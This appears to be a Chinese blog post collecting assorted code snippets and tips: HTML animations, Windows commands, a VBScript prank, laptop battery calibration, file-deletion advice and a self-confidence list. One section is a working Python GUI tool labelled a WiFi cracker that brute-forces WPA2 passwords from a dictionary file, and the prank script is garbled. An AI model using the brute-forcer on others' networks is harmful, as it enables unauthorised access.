【常用html、bat、QQ、py代码】


QQ发布动态认证代码:

{
    
    uin:123,nick:腾讯精神小伙认证,who:1}
[em]e10011[/em]{
    
    uin:1314,nick:仅你可见,who:1}

电脑上帝模式文件夹代码:

godmode.{
    
    ed7ba470-8e54-465e-825c-99712043e01c}

我爱你~html代码:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xml:lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title></title>
<link type="text/css" rel="stylesheet" href="renxi/default.css">
<script type="text/javascript" src="renxi/jquery.min.js"></script>
<script type="text/javascript" src="renxi/jscex.min.js"></script>
<script type="text/javascript" src="renxi/jscex-parser.js"></script>
<script type="text/javascript" src="renxi/jscex-jit.js"></script>
<script type="text/javascript" src="renxi/jscex-builderbase.min.js"></script>
<script type="text/javascript" src="renxi/jscex-async.min.js"></script>
<script type="text/javascript" src="renxi/jscex-async-powerpack.min.js"></script>
<script type="text/javascript" src="renxi/functions.js" charset="utf-8"></script>
<script type="text/javascript" src="renxi/love.js" charset="utf-8"></script>
<style type="text/css">
<!--
.STYLE1 {
      
      
 color: #666666
}
-->
</style>
</head>
<body>
<audio autoplay="autopaly">
  <source src="renxi.mp3" type="audio/mp3" />
</audio>
<div id="main">
  <div id="wrap">
    <div id="text">
      <div id="code"> <font color="#FF0000"> <span class="say">亲爱的,:我爱你,虽然你看不见我对你的告白</span><br>
        <span class="say"> </span><br>
        <span class="say"> 我知道我甜言蜜语会的不多,但是我会用行动证明一切</span><br>
        <span class="say"> </span><br>
        <span class="say">你说我啰嗦,有些东西因为越在乎所以越失去</span><br>
        <span class="say">因为我太爱你了,所以我不会失去你了</span><br>
        <span class="say">因为我太啰嗦了,所以你不会离开了我</span><br>
        <span class="say">虽然你看不见我的告白,但是我还是要把这些心里话说出来</span><br>
        <span class="say"> </span><br>
        <span class="say"><span class="space"></span> -- 爱你的"命中穷人":李天威--</span> </font>
        </p>
      </div>
    </div>
    <div id="clock-box"> <span class="STYLE1"></span><font color="#33CC00">亲爱的,我喜欢你</font> <span class="STYLE1">已经是……</span>
      <div id="clock"></div>
    </div>
    <canvas id="canvas" width="1100" height="680"></canvas>
  </div>
</div>
<script>
    </script>
<script>
    (function(){
      
      
        var canvas = $('#canvas');
 
        if (!canvas[0].getContext) {
      
      
            $("#error").show();
            return false;        }


        var width = canvas.width();
        var height = canvas.height();        
        canvas.attr("width", width);
        canvas.attr("height", height);
        var opts = {
      
      
            seed: {
      
      
                x: width / 2 - 20,
                color: "rgb(190, 26, 37)",
                scale: 2
            },
            branch: [
                [535, 680, 570, 250, 500, 200, 30, 100, [
                    [540, 500, 455, 417, 340, 400, 13, 100, [
                        [450, 435, 434, 430, 394, 395, 2, 40]
                    ]],
                    [550, 445, 600, 356, 680, 345, 12, 100, [
                        [578, 400, 648, 409, 661, 426, 3, 80]
                    ]],
                    [539, 281, 537, 248, 534, 217, 3, 40],
                    [546, 397, 413, 247, 328, 244, 9, 80, [
                        [427, 286, 383, 253, 371, 205, 2, 40],
                        [498, 345, 435, 315, 395, 330, 4, 60]
                    ]],
                    [546, 357, 608, 252, 678, 221, 6, 100, [
                        [590, 293, 646, 277, 648, 271, 2, 80]
                    ]]
                ]] 
            ],
            bloom: {
      
      
                num: 700,
                width: 1080,
                height: 650,
            },
            footer: {
      
      
                width: 1200,
                height: 5,
                speed: 10,
            }
        }


        var tree = new Tree(canvas[0], width, height, opts);
        var seed = tree.seed;
        var foot = tree.footer;
        var hold = 1;


        canvas.click(function(e) {
      
      
            var offset = canvas.offset(), x, y;
            x = e.pageX - offset.left;
            y = e.pageY - offset.top;
            if (seed.hover(x, y)) {
      
      
                hold = 0; 
                canvas.unbind("click");
                canvas.unbind("mousemove");
                canvas.removeClass('hand');
            }
        }).mousemove(function(e){
      
      
            var offset = canvas.offset(), x, y;
            x = e.pageX - offset.left;
            y = e.pageY - offset.top;
            canvas.toggleClass('hand', seed.hover(x, y));
        });
        var seedAnimate = eval(Jscex.compile("async", function () {
      
      
            seed.draw();
while (hold) {
      
      
                $await(Jscex.Async.sleep(10));
            }
            while (seed.canScale()) {
      
      
                seed.scale(0.95);
                $await(Jscex.Async.sleep(10));
            }
            while (seed.canMove()) {
      
      
                seed.move(0, 2);
                foot.draw();
                $await(Jscex.Async.sleep(10));
            }
        }));
        var growAnimate = eval(Jscex.compile("async", function () {
      
      
            do {
      
      
             tree.grow();
                $await(Jscex.Async.sleep(10));
            } while (tree.canGrow());
        }));
        var flowAnimate = eval(Jscex.compile("async", function () {
      
      
            do {
      
      
             tree.flower(2);
                $await(Jscex.Async.sleep(10));
            } while (tree.canFlower());
        }));
        var moveAnimate = eval(Jscex.compile("async", function () {
      
      
            tree.snapshot("p1", 240, 0, 610, 680);
            while (tree.move("p1", 500, 0)) {
      
      
                foot.draw();
                $await(Jscex.Async.sleep(10));
            }
            foot.draw();
            tree.snapshot("p2", 500, 0, 610, 680);
            canvas.parent().css("background", "url(" + tree.toDataURL('image/png') + ")");
            canvas.css("background", "#ffe");
            $await(Jscex.Async.sleep(300));
            canvas.css("background", "none");
        }));
        var jumpAnimate = eval(Jscex.compile("async", function () {
      
      
            var ctx = tree.ctx;
            while (true) {
      
      
                tree.ctx.clearRect(0, 0, width, height);
                tree.jump();
                foot.draw();
                $await(Jscex.Async.sleep(25));
            }
        }));
        var textAnimate = eval(Jscex.compile("async", function () {
      
      
     var together = new Date();
     together.setFullYear(2015,10 , 25);  //时间年月日
     together.setHours(18);  //小时
     together.setMinutes(53);  //分钟
     together.setSeconds(0);  //秒前一位
     together.setMilliseconds(2);  //秒第二位
     $("#code").show().typewriter();
            $("#clock-box").fadeIn(500);
            while (true) {
      
      
                timeElapse(together);
                $await(Jscex.Async.sleep(1000));
            }
        }));
        var runAsync = eval(Jscex.compile("async", function () {
      
      
            $await(seedAnimate());
            $await(growAnimate());
            $await(flowAnimate());
            $await(moveAnimate());
            textAnimate().start();
            $await(jumpAnimate());
        }));
        runAsync().start();
    })();
    </script>

</body>
</html>

炫酷地球~html代码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <style>
        * {
      
      
            margin: 0;
            padding: 0;
        }
        body {
      
      
            background: #000;
        }
        @keyframes runing {
      
      
            0% {
      
      
                transform: rotate(23.6deg) rotateX(-23.6deg) rotateY(0deg);
            }
            100% {
      
      
                transform: rotate(23.6deg) rotateX(-23.6deg) rotateY(360deg);
            }
        }
        .big {
      
      
            position: fixed;
            top: 50%;
            left: 50%;
            /*position: relative;*/
            width: 1000px;
            height: 1000px;
            transform: translate(-50%,-55%);
            /*background: seagreen;*/
        }
        .bigbox {
      
      
            position: absolute;
            top: 50%;
            left: 50%;
            width: 600px;
            height: 600px;
            /*background: seagreen;*/
            transform: translate(-50%,-50%);
            perspective: 1200px;
        }
        .box {
      
      
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            border-radius: 50%;
            /*background: orangered;*/
            transform-style: preserve-3d;
            animation: runing 15s linear infinite;
        }
        .box div {
      
      
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            color: #fff;
            border: 1px solid #fff;
            border-radius: 50%;
        }
 
        .box div:nth-child(1) {
      
      
 
        }
        .box div:nth-child(2) {
      
      
            transform: rotateY(22.5deg);
        }
        .box div:nth-child(3) {
      
      
            transform: rotateY(45deg);
        }
        .box div:nth-child(4) {
      
      
            transform: rotateY(67.5deg);
        }
        .box div:nth-child(5) {
      
      
            transform: rotateY(90deg);
        }
        .box div:nth-child(6) {
      
      
            transform: rotateY(112.5deg);
        }
        .box div:nth-child(7) {
      
      
            transform: rotateY(135deg);
        }
        .box div:nth-child(8) {
      
      
            transform: rotateY(157.5deg);
        }
        .box div:nth-child(9) {
      
      
            transform: translateY(-300px) rotateX(90deg) scale(0);
        }
        .box div:nth-child(10) {
      
      
            transform: translateY(-225px) rotateX(90deg) scale(.66);
        }
        .box div:nth-child(11) {
      
      
            transform: translateY(-150px) rotateX(90deg) scale(.865);
        }
        .box div:nth-child(12) {
      
      
            transform: translateY(-75px) rotateX(90deg) scale(.97);
        }
        .box div:nth-child(13) {
      
      
            transform: translateY(0) rotateX(90deg) scale(1);
        }
        .box div:nth-child(14) {
      
      
            transform: translateY(75px) rotateX(90deg) scale(.97);
        }
        .box div:nth-child(15) {
      
      
            transform: translateY(150px) rotateX(90deg) scale(.865);
        }
        .box div:nth-child(16) {
      
      
            transform: translateY(225px) rotateX(90deg) scale(.66);
        }
        .box div:nth-child(17) {
      
      
            transform: translateY(300px) rotateX(90deg) scale(0);
        }
        .but {
      
      
            position: absolute;
            top: 50%;
            left: 50%;
            width: 3px;
            height: 680px;
            background: #fff;
            border-radius: 0;
            transform: translate(-50%,-50%) rotate(23.6deg);
        }
        .fix {
      
      
            position: absolute;
            top: 50%;
            left: 50%;
            width: 680px;
            height: 680px;
            z-index: 99;
            /*background: seagreen;*/
            /*opacity: .5;*/
            border-radius:50%;
            border-top: 20px solid #fff;
            border-right: 20px solid #fff;
            border-left: 20px solid transparent;
            border-bottom: 20px solid transparent;
            transform: translate(-52%,-51%) rotate(68.6deg);
        }
        .foot {
      
      
            position: absolute;
            top: 850px;
            left: 50%;
            transform: translate(-50%,0);
            z-index: 3;
            width: 30px;
            height: 60px;
            background: #fff;
        }
        .footer {
      
      
            position: absolute;
            top: 765px;
            left: 50%;
            width:300px;
            height:300px;
            border:solid 1px black;
            background: #fff;
            border-radius: 50%;
            transform: translate(-50%,0) rotateX(80deg);
        }
        .footer:after{
      
      
            content: '';
            display:inline-block;
            width:300px;
            height: 320px;
            position:relative;
            opacity: 0.8;
            background: #fff;
            top:50%;
            left:-0.5px;
            border-left: 1px solid #000;
            border-right: 1px solid #000;
            border-bottom: 1px solid #000;
            border-bottom-left-radius: 45%;
            border-bottom-right-radius: 45%;
        }
    </style>
</head>
<body>
    <div class="big">
        <div class="bigbox">
            <div class="box">
 
                <div></div>
                <div></div>
                <div></div>
                <div></div>
                <div></div>
                <div></div>
                <div></div>
                <div></div>
 
                <div></div>
                <div></div>
                <div></div>
                <div></div>
                <div></div>
                <div></div>
                <div></div>
                <div></div>
                <div></div>
            </div>
            <div class="but"></div>
        </div>
        <div class="fix"></div>
        <div class="foot"></div>
        <div class="footer"></div>
    </div>
</body>
</html>

找回U盘cmd代码:

@echo off attrib -s -h -r -a/s/d

执行命令cmd代码:

SFC [/SCANNOW] [/VERIFYONLY] [/SCANFILE=<file>] [/VERIFYFILE=<file>]
    [/OFFWINDIR=<offline windows directory> /OFFBOOTDIR=<offline boot directory> [/OFFLOGFILE=<log file path>]]

/SCANNOW 扫描所有保护的系统文件的完整性,并尽可能修复
有问题的文件。
/VERIFYONLY 扫描所有保护的系统文件的完整性。不会执行修复
操作。
/SCANFILE 扫描引用的文件的完整性,如果找到问题,则修复文件。
指定完整路径
/VERIFYFILE 验证带有完整路径 的文件的完整性。
不会执行修复操作。
/OFFBOOTDIR 对于脱机修复,指定脱机启动目录的位置
/OFFWINDIR 对于脱机修复,指定脱机 Windows 目录的位置
/OFFLOGFILE 对于脱机修复,通过指定日志文件路径选择性地启用记录

示例:

sfc /SCANNOW
sfc /VERIFYFILE=c:\windows\system32\kernel32.dll
sfc /SCANFILE=d:\windows\system32\kernel32.dll /OFFBOOTDIR=d:\ /OFFWINDIR=d:\windows
sfc /SCANFILE=d:\windows\system32\kernel32.dll /OFFBOOTDIR=d:\ /OFFWINDIR=d:\windows /OFFLOGFILE=c:\log.txt

QQ整蛊bat代码:

text()
function text
dim a
a=InputBox("好大儿请不请爸爸吃饭,不请就别想关了")
f a="请"then
Msgbox“不请还想关"?,0,"To be continue
text()
end if
end function

笔记本电脑的充电放电

笔记本电脑电不经用的原因?(如下)

1、电池用电快,除了笔记本本身的电池原因以外,还有可能是其他的一些原因,对于使用时间在1年以内的电池,续航时间就变短,那么可能不是因为电池正常老化,而是因为电池在多次的充电和放电过程中,笔记本BIOS系统对电池电量产生了误判。本来电池还有一定电量,但BIOS却错误地认为电量已耗尽,让笔记本强行关机,而出现了电池经常没电的情况。

大家注意了,如果出现了这种电池续航时间突然变短的情况,首先不要马上就认为是电池质量问题,有可能是单纯的系统出问题!你可以通过“电池校正”方法来让剩余的电量充分发挥出来。

2

电池校正方法:

这个电池校正方法其实是运用了笔记本电脑BIOS中的电池校正功能,其实很多品牌的笔记本电脑都会在其BIOS里面都集成了电池校正的程序,一般英文的说法叫做“Battery Calibration”,即“电池电量校对”。进行电池校正的操作如下:

一,首先开机,出现开机画面后按F2,就可以直接进入BIOS菜单了,通过左右方向键,选择进入Power菜单。

二,进入Power菜单之后,你就会看到“Start Battery Calibration”选项,然后你选中它并按回车键。

三,这时屏幕会变成蓝色的,会有英文提示在页面上,意思就是要求把笔记本的电源适配器插上给电池充电。这时你就照着做就好了,给电池充电,等电池电量充满后,屏幕会提示你断开电源适配器的。之后笔记本电脑就会开始持续对电池放电,直到电池电量放完。

四,电池放电过程需要一段时间,等电池完全耗尽了电池,电脑会自动关机。你这时可以接上电源适配器给电池充电了,但注意,不要开机。等充电满了之后,整个电池校正的过程才算完成。

当然你也可以手动进行电池校正,让笔记本电脑开机自然放电,因为有些笔记本电脑在BIOS里可能怎么找也找不到电池校正的选项,所以这时你就可以采用手动电池校正方法,通过手动的一些设置,让笔记本电脑在正常工作中放电直到自动关机。

一,在笔记本电脑的操作系统(以Windows XP为例)中,选择“电源选项”,把“电源使用方案”选择为“一直开着”,并把“关闭监视器”、“关闭硬盘”设置为最短的时间,系统待机要设为“从不”。

二,在“电源选项”的“警报”中,取消所有警报选项,这样做可让电池完全耗尽直到关机。

三,当完成了以上的设置之后,你就可以关闭所有的应用程序,关闭WiFi,拔掉电源适配器,只用电池供电。然后不要做任何操作,让电脑一直放着,直至把电池耗尽后它会自动关机的。完成完全放电之后,你就可以连上电源适配器,把电池充满,这时你已经完成了电池校正了。

如果你的笔记本电脑进行了电池校正之后后电池的续航能力还是一般般,那就可能是电池的本身出问题了。

WIFI连接(python)代码:

# coding:utf-8

from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog 
import tkinter.messagebox
 
class MY_GUI():
    def __init__(self,init_window_name):
        self.init_window_name = init_window_name
 
        #密码文件路径
        self.get_value = StringVar() 
 
        #获取破解wifi账号
        self.get_wifi_value = StringVar()
 
        #获取wifi密码
        self.get_wifimm_value = StringVar()
 
        self.wifi = pywifi.PyWiFi()  #抓取网卡接口
        self.iface = self.wifi.interfaces()[0] #抓取第一个无线网卡
        self.iface.disconnect()  #测试链接断开所有链接
        time.sleep(1)  #休眠1秒
        #测试网卡是否属于断开状态
        assert self.iface.status() in\
                [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
 
    def __str__(self):
        # 自动会调用的函数,返回自身的网卡
        return '(WIFI:%s,%s)' % (self.wifi,self.iface.name())
 
    #设置窗口
    def set_init_window(self):
        self.init_window_name.title("WIFI破解工具")
        self.init_window_name.geometry('+500+200')
 
        labelframe = LabelFrame(width=400, height=200,text="配置")  # 框架,以下对象都是对于labelframe中添加的
        labelframe.grid(column=0, row=0, padx=10, pady=10)
 
        self.search = Button(labelframe,text="搜索附近WiFi",command=self.scans_wifi_list).grid(column=0,row=0)
 
        self.pojie = Button(labelframe,text="开始破解",command=self.readPassWord).grid(column=1,row=0)
 
        self.label = Label(labelframe,text="目录路径:").grid(column=0,row=1)
 
        self.path = Entry(labelframe,width=12,textvariable = self.get_value).grid(column=1,row=1)
 
        self.file = Button(labelframe,text="添加密码文件目录",command=self.add_mm_file).grid(column=2,row=1)
 
        self.wifi_text = Label(labelframe,text="WiFi账号:").grid(column=0,row=2)
 
        self.wifi_input = Entry(labelframe,width=12,textvariable = self.get_wifi_value).grid(column=1,row=2)
 
        self.wifi_mm_text = Label(labelframe,text="WiFi密码:").grid(column=2,row=2)
 
        self.wifi_mm_input = Entry(labelframe,width=10,textvariable = self.get_wifimm_value).grid(column=3,row=2,sticky=W)
 
        self.wifi_labelframe = LabelFrame(text="wifi列表")
        self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW)
 
 
        # 定义树形结构与滚动条
        self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a", "b", "c", "d"))
        self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
        self.wifi_tree.configure(yscrollcommand=self.vbar.set)
 
        # 表格的标题
        self.wifi_tree.column("a", width=45, anchor="center")
        self.wifi_tree.column("b", width=110, anchor="w")
        self.wifi_tree.column("c", width=120, anchor="w")
        self.wifi_tree.column("d", width=60, anchor="center")
 
        self.wifi_tree.heading("a", text="WiFiID")
        self.wifi_tree.heading("b", text="SSID")
        self.wifi_tree.heading("c", text="BSSID")
        self.wifi_tree.heading("d", text="signal")
 
        self.wifi_tree.grid(row=4,column=0,sticky=NSEW)
        self.wifi_tree.bind("<Double-1>",self.onDBClick)
        self.vbar.grid(row=4,column=1,sticky=NS)
 
    #搜索wifi
    #cmd /k C:\Python27\python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXIT
    def scans_wifi_list(self):  # 扫描周围wifi列表
        #开始扫描
        print("^_^ 开始扫描附近wifi...")
        self.iface.scan()
        time.sleep(1.5)
        #在若干秒后获取扫描结果
        scanres = self.iface.scan_results()
        #统计附近被发现的热点数量
        nums = len(scanres)
        print("数量: %s"%(nums))
        #print ("| %s |  %s |  %s | %s"%("WIFIID","SSID","BSSID","signal"))
        # 实际数据
        self.show_scans_wifi_list(scanres)
        return scanres
 
    #显示wifi列表
    def show_scans_wifi_list(self,scans_res):
        for index,wifi_info in enumerate(scans_res):
            # print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))
            self.wifi_tree.insert("",'end',values=(index + 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
            #print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
 
    #添加密码文件目录
    def add_mm_file(self):
        self.filename = tkinter.filedialog.askopenfilename()
        self.get_value.set(self.filename)
 
    #Treeview绑定事件
    def onDBClick(self,event):
        self.sels= event.widget.selection()
        self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])
        #print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])
 
    #读取密码字典,进行匹配
    def readPassWord(self):
        self.getFilePath = self.get_value.get()
 
        self.get_wifissid = self.get_wifi_value.get()
 
        pwdfilehander=open(self.getFilePath,"r",errors="ignore")
        i = 0
        while True:
                try:
                    i=i+1
                    self.pwdStr=pwdfilehander.readline()
 
                    if not self.pwdStr:
                        break
                    self.bool1=self.connect(self.pwdStr,self.get_wifissid)
 
                    if self.bool1:
                        self.res = "===正确===  wifi名:%s 匹配第%s密码:%s "%(self.get_wifissid,i,self.pwdStr)
                        self.get_wifimm_value.set(self.pwdStr)
                        tkinter.messagebox.showinfo('提示', '破解成功!!!')
                        print(self.res)
                        break
                    else:
                        self.res = "!错误! wifi名:%s匹配第%s密码:%s"%(self.get_wifissid,i,self.pwdStr)
                        print(self.res)
                    #sleep(1)
                except:
                    continue
    #对wifi和密码进行匹配
    def connect(self,pwd_Str,wifi_ssid):
        #创建wifi链接文件
        self.profile = pywifi.Profile()
        self.profile.ssid =wifi_ssid #wifi名称
        self.profile.auth = const.AUTH_ALG_OPEN  #网卡的开放
        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
        self.profile.cipher = const.CIPHER_TYPE_CCMP    #加密单元
        self.profile.key = pwd_Str #密码
        self.iface.remove_all_network_profiles() #删除所有的wifi文件
        self.tmp_profile = self.iface.add_network_profile(self.profile)#设定新的链接文件
        self.iface.connect(self.tmp_profile)#链接
        time.sleep(3)#3秒内能否连接上
        if self.iface.status() == const.IFACE_CONNECTED:  #判断是否连接上
            isOK=True
        else:
            isOK=False
        self.iface.disconnect() #断开
        #time.sleep(1)
        #检查断开状态
        assert self.iface.status() in\
                [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK
 
def gui_start():
    init_window = Tk()
    ui = MY_GUI(init_window)
    print(ui)
    ui.set_init_window()
    #ui.scans_wifi_list()
 
    init_window.mainloop()
 
gui_start()

回收站CD:

One. 电脑上面有个叫aow_drv的文件,到底可以删不它有15337KB 站内存?
可以放心删除的。这个文件是腾讯手游助手的引擎日志文件,主要记载了玩游戏过程中玩家行为动作。如果将其删除不会对windows系统产生任何影响,而且也不会对腾讯手游助手软件有任何的影响。

一、文件全名

aow_drv.log

二、删除文件操作步骤

1、一般情况下aow_drv.log在C盘根目录下,如果你的系统盘不是C盘,请自行搜索。

2、找到这个文件选中点击键盘上的“Del”键将其删除。会出现一个对话框提示:“需要管理员权限”。

3、换成管理账号登陆windows,右键单击选择这个文件,在弹出的对话框中选择“删除”菜单。但依然无法删除。

4、使用360工具强力删除。右键菜单-选择“使用360强力删除”菜单。

5、360强力删除会先解除System对这个文件的占用,然后粉碎文件。

Two. unintall.log→RTX服务器日志(记录其运行状况,没什么价值,直接删除)

Three. assembly是什么文件夹

assembly”文件夹是.Net Framework”程序自动创建的(例如安装office2007),包含了一个或多个托管模块以及一些资源文件的逻辑组合的GAC目录。如果随意删除该文件夹,会导致许多程序无法运行。

assembly是什么文件夹

WindowsAssembly目录是.Net Framework程序集,它包含一个或多个托管模块,以及一些资源文件的逻辑组合。它是一个GAC目录。 GAC 目录是结构化的,使用一个算法管理子目录的名称,是系统自动管理的,永远不要采用手工方式将程序集复制到 GAC 目录

简单的说,这个文件夹的文件是.Net程序自动创建的,一般情况下请不要删除,删除后可能会导致一些需要.net软件无法打开开的情况。

assembly是什么文件夹(1)

建议用户不要去删除assembly文件夹,因为我们平时使用的一些应用程序需要assembly文件夹里面的文件来支持运行。

每日一言:

世界上最伟大的事,是一个人懂得如何做自己的主人。

题外话—分享:

九个方法让你摆脱自卑变得自信

自卑的根源:

1-性格害羞胆怯,产生的自卑
2-喜欢拿缺点跟别人优点比较
3-太多的顾虑,让自己内心胆怯
4-过于完美主义,对自己太苛责
5-在乎外界的评价,对自己产生了怀疑

1、走出熟悉的环境

尝试克服内心的恐惧,主动走出去与别人打招呼,慢慢与不同类型的人交往,你会迈出自卑的第一步。

2、去做自己擅长的事

多做自己擅长的事,会让子鸡变得更加的自信,学会挖掘自己身上的闪光点。

3、学会穿衣打扮

外在形象可以先让自己做个改变,走路抬头挺胸,衣着得体大方,学会微笑。

4、增强自己的实力

学习写作、摄影、画画、化妆等等,增加自己的工作以外的才能。当自己实力强的时候,自然而然的就自信了。

5、锻炼自己的气场

多练练自己的眼神,是心态积极的体现,能与任何人对视。让自己越来越成熟。

6、练习当众发言

沉默寡言的人很容易被忽略,而当众发言会让大家重视你,也会增加信心,许多原本自卑的人都是通过练习当中讲话而变自信起来的。

7、学会自我鼓励

当你产生我真差劲的想法时,找一张纸罗列自己所拥有的一切优点,告诉自己我很棒,这也是自我暗示的好方法。

8、接纳不完美的自己

既然太阳也有黑点,人世间的事,就不能没有缺陷。不完美才是最真实的完美。不必过分苛责自己,先学会接纳自己,面对自己最真实的模样。

9、放下对未来的恐惧

不要纠结,去做你想做,觉得有意义的事情,告诉自己,哪怕失败了也并不可怕。可怕饿是我们一次次的放弃了那些属于我们的机会。

[^1]如果大家喜欢的话,可否点赞收藏加关注?如有错误,还请评论区或私信指正。

持续更新中…

猜你喜欢

转载自blog.csdn.net/m0_66318554/article/details/124999725
今日推荐